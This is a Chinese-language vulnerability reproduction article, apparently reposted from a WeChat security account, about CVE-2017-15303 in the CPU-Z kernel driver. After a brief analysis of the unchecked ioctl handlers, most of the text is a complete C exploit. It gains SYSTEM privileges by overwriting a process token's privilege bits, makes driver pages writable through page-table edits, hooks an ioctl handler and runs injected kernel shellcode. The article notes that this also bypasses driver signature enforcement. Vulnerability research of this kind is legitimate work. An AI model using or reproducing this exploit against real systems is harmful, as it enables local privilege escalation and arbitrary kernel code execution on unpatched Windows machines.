CPU-Z 驱动,权限提升+任意代码执行(CVE-2017-15303)复现

  • A+
所属分类:安全文章


漏洞描述

在1.43之前的CPUID CPU-Z中,存在任意内存写入操作,直接导致特权提升,因为在本地计算机上运行的任何程序(在CPU-Z运行时)都可以向内核模式驱动程序发出ioctl 0x9C402430调用(例如,版本1.41的cpuz141_x64.sys)。实际上在复现过程中发现配合ioctl 0x9C402420 ,不仅可以特权提升,还可以任意内核代码执行,可以修改系统所有重要数据结构,绕过Windows的强制驱动签名,严重影响系统安全性。

漏洞形成

复现环境为win 7 x64

CPU-Z 驱动,权限提升+任意代码执行(CVE-2017-15303)复现

本次复现在cpu-z_1.63-64中的cpuz136_x64.sys驱动上进行。

找到IRP分发函数,同IRP_MJ_CREATE与IRP_MJ_CLOSE一个函数,且没有对调用者的权限进行检查,没有对参数进行任何合法性校验

CPU-Z 驱动,权限提升+任意代码执行(CVE-2017-15303)复现

在0x9C402420 中存在任意物理地址写入任意虚拟地址

CPU-Z 驱动,权限提升+任意代码执行(CVE-2017-15303)复现

在0x9C402430 中存在向任意物理地址中写入4字节自定义数据

CPU-Z 驱动,权限提升+任意代码执行(CVE-2017-15303)复现

结合0x9C402430 向一个安全的物理地址空间写入数据,随后调用0x9C402420 将数据写入到内核地址的任意处完成任意内核地址读写。

Hook 0x9C402438作为激活点,随后调用0x9C402438进行任意代码执行

CPU-Z 驱动,权限提升+任意代码执行(CVE-2017-15303)复现

1)随后通过向当前进程或者其他进程的token对象权限值写入系统权限值完成提权。

2)可通过手工修改内存页映射规则使得CPU-Z的驱动内存空间可写,随后写入shellcode完成执行任意内核代码。

漏洞复现

复现采用提权并向内核写入<读取cr0 寄存器的shellcode>作为验证。

CPU-Z 驱动,权限提升+任意代码执行(CVE-2017-15303)复现

CPU-Z 驱动,权限提升+任意代码执行(CVE-2017-15303)复现

POC

#include <stdio.h>#include <tchar.h>#include <Windows.h>#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
#define DEV_NAME_CPU _T("\\.\cpuz136")
#define IOCTL_READ_WRITE_TO_VIRTUAL 0x9C402400+0x20#define IOCTL_WRITE_PHYSICAL 0x9C402400+0x30#define IOCTL_EXECUTE_CODE 0x9C402400+0x38
#pragma pack(push)#pragma pack(1)typedef struct _READ_WRITE_INFO { UINT32 HighPhys; UINT32 LowPhys; UINT32 Size; UINT32 HighOutVirtual; UINT32 LowOutVirtual;}READ_WRITE_INFO, *PREAD_WRITE_INFO;
typedef struct _WRITE_PHY_INFO { UINT32 HighPhys; UINT32 LowPhys; UINT32 Data;}WRITE_PHY_INFO, * PWRITE_PHY_INFO;typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY{ BYTE Unused[0x14]; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT NameLength; USHORT LoadCount; USHORT ModuleNameOffset; char ImageName[252];} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION{ ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1];} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef struct _PAG { union { struct { UINT64 IsEnable : 1; UINT64 IsWrite : 1; UINT64 Unused : 4; UINT64 SupperPage : 1; UINT64 Unused2 : 5; UINT64 Base : 52; }; UINT64 Value; };}PAG, * PPAG;
typedef struct _CALL_RAX{ BYTE MovCode[2]; UINT64 Address; BYTE CallCode[2]; BYTE Nop[9];}CALL_RAX, *PCALL_RAX;#pragma pack(pop)
CALL_RAX CallCode;
/** 0F2000 | mov rax,cr0 |* 48:8906 | mov qword ptr ds:[rsi],rax |* 49:C74424 38 08000000 | mov qword ptr ds:[r12+38],8 |* 49:C74424 30 00000000 | mov qword ptr ds:[r12+30],0 |* C3 | ret |*/
BYTE ShellCode[] = { 0x0F,0x20,0x00,0x48,0x89,0x06,0x49,0xC7,0x44,0x24,0x38,0x08,0x00,0x00,0x00,0x49,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC3 };
HANDLE g_hFile;BOOLEAN ReadPhysical(UINT64 PhysicalAddress, PVOID Buffer, DWORD dwSize);BOOLEAN WriteToVirtualMemory(UINT64 VirtualAddress, PBYTE Data, UINT64 Size);BOOLEAN ChangeMemoryProtectToWriteNoBigPage(UINT64 VirtualAddress);UINT64 GetDriverLoadedAddress(LPSTR DriverName);BOOLEAN AdjustProcessToken(DWORD Pid);BOOLEAN ExecuteCode();int main(){ CallCode.MovCode[0] = 0x48; CallCode.MovCode[1] = 0xB8; CallCode.CallCode[0] = 0xFF; CallCode.CallCode[1] = 0xD0; memset(CallCode.Nop, 0x90, 9);
system("whoami /priv"); g_hFile = CreateFile(DEV_NAME_CPU, FILE_READ_ACCESS | FILE_WRITE_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_DEVICE, NULL); if (g_hFile == INVALID_HANDLE_VALUE) { printf("打开设备失败%xn", GetLastError()); return 0; } printf("[+]打开设备对象n"); DWORD ProcessId = GetCurrentProcessId(); printf("[*]尝试提升进程 PID:%d 的权限为系统权限n", ProcessId); if (!AdjustProcessToken(ProcessId)) { printf("[-]提升权限失败,可能的错误:%dn", GetLastError()); return 0; } printf("[+]提升成功!n");
printf("--- 当前进程权限 ---n"); system("whoami /priv"); if (!ExecuteCode()) printf("[-]执行内核代码失败!n"); system("pause"); CloseHandle(g_hFile); return 0;}
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { USHORT UniqueProcessId; USHORT CreatorBackTraceIndex; UCHAR ObjectTypeIndex; UCHAR HandleAttributes; USHORT HandleValue; PVOID Object; ULONG GrantedAccess;} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
BOOLEAN AdjustProcessToken(DWORD Pid){ PSYSTEM_HANDLE_INFORMATION HandleInfo = NULL; ULONG NeedSize = 0;
HANDLE hProcess; HANDLE hToken = NULL; PUBLIC_OBJECT_TYPE_INFORMATION ObjectTypeInfo;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, Pid);
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) return FALSE;
CloseHandle(hProcess); PVOID ObjectPtr = NULL; do { NtQuerySystemInformation(16, &ObjectTypeInfo, sizeof(ObjectTypeInfo), &NeedSize); if (!NeedSize) break;
NeedSize += 0x1000; HandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(NeedSize); if (!HandleInfo) break;
if (!NT_SUCCESS(NtQuerySystemInformation(16, HandleInfo, NeedSize, &NeedSize))) break;
for (ULONG Count = 0; Count < HandleInfo->NumberOfHandles; ++Count) { if ( HandleInfo->Handles[Count].UniqueProcessId == Pid && HandleInfo->Handles[Count].HandleValue == (USHORT)hToken ) { ObjectPtr = HandleInfo->Handles[Count].Object; break; } } } while (FALSE); if(HandleInfo) free(HandleInfo);
if (!ObjectPtr) { CloseHandle(hToken); return FALSE; } UINT64 Privilege[3] = { 0x0000000ff2ffffbc ,0x0000000ff2ffffbc ,0x0000000ff2ffffbc }; printf("[+]TokenObject : %pn", ObjectPtr);// Write 0000000f`f2ffffbc From PTOKEN+0x040 Len 0x18 if (!WriteToVirtualMemory((UINT64)ObjectPtr + 0x040, (PBYTE)Privilege, sizeof(Privilege))) { CloseHandle(hToken); return FALSE; } CloseHandle(hToken); return TRUE;}
BOOLEAN ReadPhysical(UINT64 PhysicalAddress, PVOID Buffer, DWORD dwSize){ UINT64 OutData; DWORD ReturnedSize; READ_WRITE_INFO ReadWriteInfo; ReadWriteInfo.HighPhys = PhysicalAddress >> 32; ReadWriteInfo.LowPhys = PhysicalAddress & 0xffffffff; ReadWriteInfo.Size = dwSize; ReadWriteInfo.HighOutVirtual = ((UINT64)Buffer) >> 32; ReadWriteInfo.LowOutVirtual = ((UINT64)Buffer) & 0xffffffff; DeviceIoControl(g_hFile, IOCTL_READ_WRITE_TO_VIRTUAL, &ReadWriteInfo, sizeof(ReadWriteInfo), &OutData, 0x8, &ReturnedSize, NULL); return !!ReturnedSize;}
VOID GetVirtualMap(UINT64 VirtualAddress, PUINT64 PML4T, PUINT64 PDPT, PUINT64 PDT, PUINT64 PT, PUINT64 Offset){ *Offset = VirtualAddress & 0xfff; *PT = (VirtualAddress >> 12) & ((1 << 0x9) - 1); *PDT = (VirtualAddress >> 12 >> 9) & ((1 << 0x9) - 1); *PDPT = (VirtualAddress >> 12 >> 9 >> 9) & ((1 << 0x9) - 1); *PML4T = (VirtualAddress >> 12 >> 9 >> 9 >> 9) & ((1 << 0x9) - 1);}
typedef LONG(__stdcall* LPFN_RtlGetVersion)(PRTL_OSVERSIONINFOW lpVersionInformation);BOOLEAN IsWindows10(){ RTL_OSVERSIONINFOW OsVersionInfo; HMODULE hNtdll = LoadLibrary(_T("ntdll.dll")); if (!hNtdll) return FALSE;
LPFN_RtlGetVersion RtlGetVersion = (LPFN_RtlGetVersion)GetProcAddress(hNtdll, "RtlGetVersion"); if (!RtlGetVersion) return FALSE;
OsVersionInfo.dwOSVersionInfoSize = sizeof(OsVersionInfo); RtlGetVersion(&OsVersionInfo); FreeLibrary(hNtdll); return OsVersionInfo.dwMajorVersion == 10;}BOOLEAN ChangeMemoryProtectToWriteNoBigPage(UINT64 VirtualAddress){ BYTE Buffer[0x1000]; UINT64 PageTableAddr; UINT64 PML4T, PDPT, PDT, PT, Offset;
if (IsWindows10()) PageTableAddr = 0x1ad000; else PageTableAddr = 0x187000;
GetVirtualMap(VirtualAddress, &PML4T, &PDPT, &PDT, &PT, &Offset);

ReadPhysical(PageTableAddr, Buffer, 0x1000); PPAG Data = (PPAG)Buffer ; if (!Data[PML4T].IsEnable) return FALSE;
ReadPhysical(Data[PML4T].Base << 12, Buffer, 0x1000); Data = (PPAG)Buffer; if (!Data[PDPT].IsEnable) return FALSE;

ReadPhysical(Data[PDPT].Base << 12, Buffer, 0x1000); Data = (PPAG)Buffer; if (!Data[PDT].IsEnable) return FALSE;
UINT64 PtAddress = (Data[PDT].Base << 12) + PT * 8; ReadPhysical(Data[PDT].Base << 12, Buffer, 0x1000); Data = (PPAG)Buffer; if (!Data[PT].IsEnable) return FALSE;
Data[PT].IsWrite = TRUE;
UINT64 OutData; DWORD ReturnedSize; WRITE_PHY_INFO WritePhyInfo; WritePhyInfo.HighPhys = PtAddress >> 32; WritePhyInfo.LowPhys = PtAddress & 0xffffffff; WritePhyInfo.Data = (UINT32)Data[PT].Value; DeviceIoControl(g_hFile, IOCTL_WRITE_PHYSICAL, &WritePhyInfo, sizeof(WritePhyInfo), &OutData, 0x8, &ReturnedSize, NULL); return !!ReturnedSize;}
BOOLEAN WriteToVirtualMemory(UINT64 VirtualAddress, PBYTE Data, UINT64 Size){ DWORD ReturnedSize = 0; UINT64 OutData; WRITE_PHY_INFO WritePhyInfo; READ_WRITE_INFO ReadWriteInfo;
for (UINT64 i = 0; i < Size ; ++i) { WritePhyInfo.HighPhys = 0; WritePhyInfo.LowPhys = 0; WritePhyInfo.Data = ((PBYTE)Data)[i]; DeviceIoControl(g_hFile, IOCTL_WRITE_PHYSICAL, &WritePhyInfo, sizeof(WritePhyInfo), &OutData, 0x8, &ReturnedSize, NULL); if (!ReturnedSize) return FALSE;
ReadWriteInfo.HighPhys = 0; ReadWriteInfo.LowPhys = 0; ReadWriteInfo.Size = 1; ReadWriteInfo.HighOutVirtual = (VirtualAddress + i) >> 32; ReadWriteInfo.LowOutVirtual = (VirtualAddress + i) & 0xffffffff; DeviceIoControl(g_hFile, IOCTL_READ_WRITE_TO_VIRTUAL, &ReadWriteInfo, sizeof(ReadWriteInfo), &OutData, 0x8, &ReturnedSize, NULL); if (!ReturnedSize) return FALSE; } return TRUE;}UINT64 GetDriverLoadedAddress(LPSTR DriverName){ ULONG NeedSize = 0; NtQuerySystemInformation(11, NULL, 0, &NeedSize); PSYSTEM_MODULE_INFORMATION FullModuleInfo = (PSYSTEM_MODULE_INFORMATION)malloc(NeedSize); if (!FullModuleInfo) return 0;
if(!NT_SUCCESS(NtQuerySystemInformation(11, FullModuleInfo, NeedSize, &NeedSize))) return 0;
for (DWORD Count = 0; Count < FullModuleInfo->Count; ++Count) { char* Name; Name = strrchr(FullModuleInfo->Module[Count].ImageName, '\'); if (!Name) Name = FullModuleInfo->Module[Count].ImageName;
if (!_stricmp(Name + 1, DriverName)) { UINT64 DrvAddr = (UINT64)FullModuleInfo->Module[Count].Base; free(FullModuleInfo); return DrvAddr; } } free(FullModuleInfo); return 0;}BOOLEAN ExecuteCode(){ UINT64 DrvAddr = GetDriverLoadedAddress("cpuz136_x64.sys"); if (!DrvAddr) { printf("[-] 无法获得驱动内核地址!n"); return FALSE; } UINT64 DrvPocAddr = DrvAddr + 0x3536; UINT64 DrvHookAddr = DrvAddr + 0x25DE; UINT64 RetData; DWORD dwRetSize = 0; if (!ChangeMemoryProtectToWriteNoBigPage(DrvPocAddr) || !ChangeMemoryProtectToWriteNoBigPage(DrvHookAddr)) { printf("[-] 无法修改所需的页面映射属性!n"); return FALSE; }
printf("[+] 修改内存页面权限成功!n"); CallCode.Address = DrvPocAddr; if (!WriteToVirtualMemory(DrvHookAddr, (PBYTE)&CallCode, sizeof(CallCode))) { printf("[-] 写入Shellcode 失败!n"); return FALSE; } if (!WriteToVirtualMemory(DrvPocAddr, ShellCode, sizeof(ShellCode))) { printf("[-] 写入Shellcode 失败!n"); return FALSE; } printf("[+] 写入Shellcode 成功!n"); DeviceIoControl(g_hFile, IOCTL_EXECUTE_CODE, NULL, 0, &RetData, sizeof(RetData), &dwRetSize, NULL); if (!dwRetSize) return FALSE;
printf("[+] 执行成功!返回值为%I64xn", RetData); return TRUE;}


本文始发于微信公众号(锋刃科技):CPU-Z 驱动,权限提升+任意代码执行(CVE-2017-15303)复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: